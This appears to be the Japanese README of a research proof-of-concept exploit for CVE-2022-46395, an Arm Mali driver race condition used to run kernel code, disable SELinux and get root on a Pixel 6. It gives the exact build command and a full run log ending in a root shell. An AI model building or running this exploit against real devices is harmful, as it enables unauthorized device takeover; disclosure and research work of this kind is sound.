
CVE-2022-46395 向けエクスプロイト。Arm Mali カーネルドライバーの脆弱性を利用し、任意のカーネルコード実行を実現して SELinux を無効化し、Google Pixel 6 で root を取得します。
解説はこちらにあります。これは、2022年11月に報告したArm Maliカーネルドライバのバグです。このバグを利用すると、信頼されていないアプリドメインから任意のカーネルコードを実行でき、SELinuxを無効にしてrootを取得できます。
このエクスプロイトは、2022年11月および2023年1月のパッチが適用されたGoogle Pixel 6でテストされています。参考までに、ndk-21でclangを使ってコンパイルしたコマンドは以下の通りです:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
エクスプロイトはブート後数分経ってから実行する必要があり、成功するまで数分間動作する可能性が高いです。レースコンディションに数百回失敗することは珍しくありませんが、失敗しても悪影響はなく、エクスプロイト全体でクラッシュすることは稀です。成功すると、SELinuxを無効にしてrootを取得します。
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #